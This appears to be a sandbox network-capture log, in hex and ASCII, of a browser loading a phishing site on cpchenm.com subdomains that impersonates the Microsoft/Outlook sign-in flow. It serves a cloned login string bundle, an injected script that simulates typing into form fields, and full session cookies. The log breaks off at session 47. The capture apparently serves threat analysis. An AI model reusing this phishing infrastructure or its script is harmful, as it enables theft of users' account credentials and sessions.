esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
2024-11-12 16:29:53 UTC	909	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:29:53 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 16:29:53 UTC	270	IN	Data Raw: 39 30 39 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 63 6f 6e 73 74 20 77 61 69 74 46 6f 72 41 6e 64 53 65 74 56 61 6c 75 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 65 6c 65 63 74 6f 72 2c 20 76 61 6c 75 65 29 20 7b 0a 20 20 20 20 66 69 6e 64 45 6c 65 6d 65 6e 74 28 73 65 6c 65 63 74 6f 72 29 2e 74 68 65 6e 28 28 65 6c 65 6d 65 6e 74 29 20 3d 3e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 65 6c 65 6d 65 6e 74 2c 20 76 61 6c 75 65 29 29 3b 0a 20 20 7d 3b 0a 20 20 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 0a 20 20 20 20 65 6c 65 6d 65 6e 74 2c 0a 20 20 20 20 69 6e 70 75 74 53 74 72 2c 0a 20 20 20 20 6d 69 6e 44 65 6c 61 79 20 3d 20 31 2c 0a 20 20 20 20 6d 61 78 44 65 6c 61 79 20 3d 20 31 35 Data Ascii: 909(function () { const waitForAndSetValue = function (selector, value) { findElement(selector).then((element) => simulateTyping(element, value)); }; async function simulateTyping( element, inputStr, minDelay = 1, maxDelay = 15
2024-11-12 16:29:53 UTC	2055	IN	Data Raw: 28 63 6f 6e 73 74 20 63 68 61 72 20 6f 66 20 69 6e 70 75 74 53 74 72 2e 73 70 6c 69 74 28 22 22 29 29 20 7b 0a 20 20 20 20 20 20 61 77 61 69 74 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 72 65 73 6f 6c 76 65 29 20 3d 3e 0a 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 72 65 73 6f 6c 76 65 2c 20 67 65 74 52 61 6e 64 6f 6d 49 6e 74 28 6d 69 6e 44 65 6c 61 79 2c 20 6d 61 78 44 65 6c 61 79 29 29 0a 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 2e 76 61 6c 75 65 20 2b 3d 20 63 68 61 72 3b 0a 20 20 20 20 20 20 74 72 69 67 67 65 72 45 76 65 6e 74 28 65 6c 65 6d 65 6e 74 2c 20 22 69 6e 70 75 74 22 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 20 20 63 6f 6e 73 74 20 66 69 6e 64 45 6c 65 6d 65 6e 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 Data Ascii: (const char of inputStr.split("")) { await new Promise((resolve) => setTimeout(resolve, getRandomInt(minDelay, maxDelay)) ); element.value += char; triggerEvent(element, "input"); } } const findElement = function (s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.22	49223	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:53 UTC	2216	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
2024-11-12 16:29:53 UTC	900	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:29:53 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.22	49225	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:54 UTC	1430	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
2024-11-12 16:29:55 UTC	860	IN	HTTP/1.1 200 OK Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:29:55 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.22	49224	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:54 UTC	495	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:55 UTC	1105	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:55 GMT Etag: 0x8DCC6D537C7BF24 Last-Modified: Tue, 27 Aug 2024 20:17:04 GMT
2024-11-12 16:29:55 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 35 35 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 73 77 6d 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162955Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002swmX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:55 UTC	2001	IN	Data Raw: 65 30 36 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 36 29 2c 61 3d 72 Data Ascii: e063!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r
2024-11-12 16:29:55 UTC	559	IN	Data Raw: 57 46 5f 53 54 52 5f 44 65 66 61 75 6c 74 5f 44 65 73 63 3d 27 59 6f 75 20 77 69 6c 6c 20 62 65 20 73 69 67 6e 65 64 20 69 6e 20 74 6f 20 3c 73 70 61 6e 20 69 64 3d 22 61 70 70 4e 61 6d 65 22 3e 7b 30 7d 3c 2f 73 70 61 6e 3e 20 6f 6e 20 61 20 72 65 6d 6f 74 65 20 64 65 76 69 63 65 20 6f 72 20 73 65 72 76 69 63 65 2e 20 53 65 6c 65 63 74 20 42 61 63 6b 20 69 66 20 79 6f 75 20 61 72 65 6e 5c 27 74 20 74 72 79 69 6e 67 20 74 6f 20 73 69 67 6e 20 69 6e 20 74 6f 20 74 68 69 73 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 6f 6e 20 61 20 72 65 6d 6f 74 65 20 64 65 76 69 63 65 20 6f 72 20 73 65 72 76 69 63 65 2e 27 2c 6f 2e 73 52 65 6d 6f 74 65 43 6c 69 65 6e 74 49 70 3f 65 2e 57 46 5f 53 54 52 5f 44 65 66 61 75 6c 74 5f 44 65 73 63 3d 27 59 6f 75 20 77 69 6c 6c 20 62 Data Ascii: WF_STR_Default_Desc='You will be signed in to <span id="appName">{0}</span> on a remote device or service. Select Back if you aren\'t trying to sign in to this application on a remote device or service.',o.sRemoteClientIp?e.WF_STR_Default_Desc='You will b
2024-11-12 16:29:55 UTC	4716	IN	Data Raw: 69 64 3d 22 61 70 70 4e 61 6d 65 22 3e 7b 30 7d 3c 2f 73 70 61 6e 3e 20 6f 6e 20 61 6e 6f 74 68 65 72 20 64 65 76 69 63 65 20 6c 6f 63 61 74 65 64 20 69 6e 20 3c 73 70 61 6e 20 69 64 3d 22 6c 6f 63 61 74 69 6f 6e 22 3e 7b 31 7d 3c 2f 73 70 61 6e 3e 2e 20 49 66 20 69 74 5c 27 73 20 6e 6f 74 20 79 6f 75 2c 20 63 6c 6f 73 65 20 74 68 69 73 20 70 61 67 65 2e 27 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 61 2e 43 6f 6d 62 69 6e 65 64 53 69 67 6e 69 6e 53 69 67 6e 75 70 56 32 3a 65 2e 57 46 5f 53 54 52 5f 44 65 66 61 75 6c 74 5f 44 65 73 63 3d 22 57 65 27 6c 6c 20 63 68 65 63 6b 20 74 6f 20 73 65 65 20 69 66 20 79 6f 75 20 61 6c 72 65 61 64 79 20 68 61 76 65 20 61 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 2e 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 61 Data Ascii: id="appName">{0}</span> on another device located in <span id="location">{1}</span>. If it\'s not you, close this page.'));break;case a.CombinedSigninSignupV2:e.WF_STR_Default_Desc="We'll check to see if you already have a Microsoft account.";break;case a
2024-11-12 16:29:55 UTC	5895	IN	Data Raw: 6f 74 45 78 69 73 74 3d 27 54 68 69 73 20 61 63 63 6f 75 6e 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 69 6e 20 74 68 69 73 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2e 20 45 6e 74 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 61 63 63 6f 75 6e 74 20 6f 72 20 3c 61 20 69 64 3d 22 61 61 64 53 65 6c 66 53 69 67 6e 75 70 22 20 68 72 65 66 3d 22 23 22 3e 63 72 65 61 74 65 20 61 20 6e 65 77 20 6f 6e 65 3c 2f 61 3e 2e 27 3a 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 55 73 65 72 6e 61 6d 65 4e 6f 74 45 78 69 73 74 3d 22 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 61 6e 20 61 63 63 6f 75 6e 74 20 77 69 74 68 20 74 68 61 74 20 75 73 65 72 6e 61 6d 65 2e 22 3a 6f 2e 66 43 42 53 68 6f 77 53 69 67 6e 55 70 3f 65 2e 43 54 5f 50 57 44 5f 53 54 Data Ascii: otExist='This account does not exist in this organization. Enter a different account or <a id="aadSelfSignup" href="#">create a new one</a>.':e.CT_PWD_STR_Error_UsernameNotExist="We couldn't find an account with that username.":o.fCBShowSignUp?e.CT_PWD_ST
2024-11-12 16:29:55 UTC	7074	IN	Data Raw: 5f 50 57 44 5f 53 54 52 5f 41 63 63 65 73 73 50 61 73 73 5f 49 6e 70 75 74 50 6c 61 63 65 68 6f 6c 64 65 72 3d 22 54 65 6d 70 6f 72 61 72 79 20 41 63 63 65 73 73 20 50 61 73 73 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 53 68 6f 77 41 63 63 65 73 73 50 61 73 73 3d 22 53 68 6f 77 20 54 65 6d 70 6f 72 61 72 79 20 41 63 63 65 73 73 20 50 61 73 73 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 4c 6f 67 69 6e 5f 43 72 65 64 50 69 63 6b 65 72 5f 4f 70 74 69 6f 6e 5f 41 63 63 65 73 73 50 61 73 73 3d 22 55 73 65 20 54 65 6d 70 6f 72 61 72 79 20 41 63 63 65 73 73 20 50 61 73 73 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 4c 6f 67 69 6e 5f 53 77 69 74 63 68 54 6f 41 63 63 65 73 73 50 61 73 73 4c 69 6e 6b 3d 22 55 73 65 20 79 6f 75 72 20 54 65 6d 70 6f 72 61 72 79 Data Ascii: _PWD_STR_AccessPass_InputPlaceholder="Temporary Access Pass",e.CT_PWD_STR_ShowAccessPass="Show Temporary Access Pass",e.CT_PWD_STR_Login_CredPicker_Option_AccessPass="Use Temporary Access Pass",e.CT_PWD_STR_Login_SwitchToAccessPassLink="Use your Temporary
2024-11-12 16:29:55 UTC	8253	IN	Data Raw: 43 54 5f 46 49 44 4f 5f 53 54 52 5f 50 61 67 65 5f 54 69 74 6c 65 5f 4e 6f 48 65 6c 6c 6f 3d 22 53 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 73 65 63 75 72 69 74 79 20 6b 65 79 22 2c 65 2e 43 54 5f 46 49 44 4f 5f 53 54 52 5f 50 61 67 65 5f 54 69 74 6c 65 3d 22 53 69 67 6e 20 69 6e 20 77 69 74 68 20 57 69 6e 64 6f 77 73 20 48 65 6c 6c 6f 20 6f 72 20 61 20 73 65 63 75 72 69 74 79 20 6b 65 79 22 2c 6f 2e 66 49 73 50 61 73 73 6b 65 79 26 26 28 65 2e 43 54 5f 46 49 44 4f 5f 53 54 52 5f 50 61 67 65 5f 54 69 74 6c 65 3d 22 53 69 67 6e 69 6e 67 20 69 6e 20 77 69 74 68 20 61 20 70 61 73 73 6b 65 79 2e 2e 2e 22 2c 65 2e 43 54 5f 46 49 44 4f 5f 53 54 52 5f 50 61 67 65 5f 50 61 73 73 6b 65 79 45 72 72 6f 72 5f 54 69 74 6c 65 3d 22 53 6f 6d 65 74 68 69 6e 67 20 77 65 Data Ascii: CT_FIDO_STR_Page_Title_NoHello="Sign in with a security key",e.CT_FIDO_STR_Page_Title="Sign in with Windows Hello or a security key",o.fIsPasskey&&(e.CT_FIDO_STR_Page_Title="Signing in with a passkey...",e.CT_FIDO_STR_Page_PasskeyError_Title="Something we
2024-11-12 16:29:55 UTC	9432	IN	Data Raw: 53 69 67 6e 69 6e 5f 42 75 74 74 6f 6e 54 65 78 74 3d 22 53 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 51 52 20 63 6f 64 65 22 2c 65 2e 43 54 5f 53 54 52 5f 51 72 43 6f 64 65 50 69 6e 5f 53 69 67 6e 69 6e 5f 45 6d 70 6c 6f 79 65 72 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 4f 6e 6c 79 20 75 73 65 20 74 68 69 73 20 69 66 20 79 6f 75 72 20 65 6d 70 6c 6f 79 65 72 20 68 61 73 20 67 69 76 65 6e 20 79 6f 75 20 61 20 70 72 69 6e 74 65 64 20 51 52 20 63 6f 64 65 22 2c 65 2e 43 54 5f 53 54 52 5f 51 72 43 6f 64 65 50 69 6e 5f 53 69 67 6e 69 6e 5f 53 63 61 6e 49 6e 73 74 72 75 63 74 69 6f 6e 3d 22 48 6f 6c 64 20 79 6f 75 72 20 51 52 20 63 6f 64 65 20 74 6f 20 74 68 65 20 63 61 6d 65 72 61 20 74 6f 20 73 69 67 6e 20 69 6e 2e 22 2c 65 2e 43 54 5f 53 54 52 5f 51 72 43 6f Data Ascii: Signin_ButtonText="Sign in with a QR code",e.CT_STR_QrCodePin_Signin_EmployerDescription="Only use this if your employer has given you a printed QR code",e.CT_STR_QrCodePin_Signin_ScanInstruction="Hold your QR code to the camera to sign in.",e.CT_STR_QrCo
2024-11-12 16:29:55 UTC	10611	IN	Data Raw: 27 6c 6c 20 75 73 65 20 74 68 69 73 20 69 6e 66 6f 20 74 6f 20 73 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 64 65 76 69 63 65 73 2e 22 7d 29 2c 6e 2e 72 65 67 69 73 74 65 72 53 6f 75 72 63 65 28 22 68 74 6d 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 29 7b 73 77 69 74 63 68 28 6f 2e 69 42 61 6e 6e 65 72 45 6e 76 69 72 6f 6e 6d 65 6e 74 29 7b 63 61 73 65 20 72 2e 49 6e 74 65 72 6e 61 6c 3a 65 2e 43 54 5f 53 54 52 5f 45 6e 76 69 72 6f 6e 6d 65 6e 74 42 61 6e 6e 65 72 5f 54 65 78 74 3d 22 49 4e 54 45 52 4e 41 4c 20 50 52 45 56 49 45 57 20 4f 4e 4c 59 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 72 2e 54 65 73 74 53 6c 69 63 65 3a 65 2e 43 54 5f 53 54 52 5f 45 6e 76 69 72 6f 6e 6d 65 6e 74 42 61 6e 6e 65 72 5f 54 65 78 74 3d 27 44 6f 67 66 6f 6f 64 20 2d 20 3c Data Ascii: 'll use this info to sign in to your devices."}),n.registerSource("html",function(e,o){switch(o.iBannerEnvironment){case r.Internal:e.CT_STR_EnvironmentBanner_Text="INTERNAL PREVIEW ONLY";break;case r.TestSlice:e.CT_STR_EnvironmentBanner_Text='Dogfood - <
2024-11-12 16:29:55 UTC	8908	IN	Data Raw: 53 61 73 45 6e 64 43 61 6c 6c 4e 6f 6e 52 65 74 72 69 61 62 6c 65 45 72 72 6f 72 3a 22 31 33 31 30 30 34 22 2c 44 65 76 69 63 65 49 73 44 69 73 61 62 6c 65 64 3a 22 31 33 35 30 31 31 22 2c 46 69 64 6f 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 3a 22 31 33 35 30 31 36 22 2c 50 61 73 73 6b 65 79 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 4f 74 68 65 72 41 75 74 68 41 70 70 50 61 73 73 6b 65 79 41 76 61 69 6c 61 62 6c 65 3a 22 31 33 35 30 31 36 31 22 2c 50 61 73 73 6b 65 79 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 4f 74 68 65 72 50 61 73 73 6b 65 79 41 76 61 69 6c 61 62 6c 65 3a 22 31 33 35 30 31 36 32 22 2c 50 61 73 73 6b 65 79 41 75 74 68 49 6e 74 65 72 72 75 70 74 65 64 3a 22 31 33 35 30 32 30 31 22 2c 42 6c 6f 63 6b 65 64 41 64 61 6c 56 65 72 73 Data Ascii: SasEndCallNonRetriableError:"131004",DeviceIsDisabled:"135011",FidoBlockedByPolicy:"135016",PasskeyBlockedByPolicyOtherAuthAppPasskeyAvailable:"1350161",PasskeyBlockedByPolicyOtherPasskeyAvailable:"1350162",PasskeyAuthInterrupted:"1350201",BlockedAdalVers

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.22	49226	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
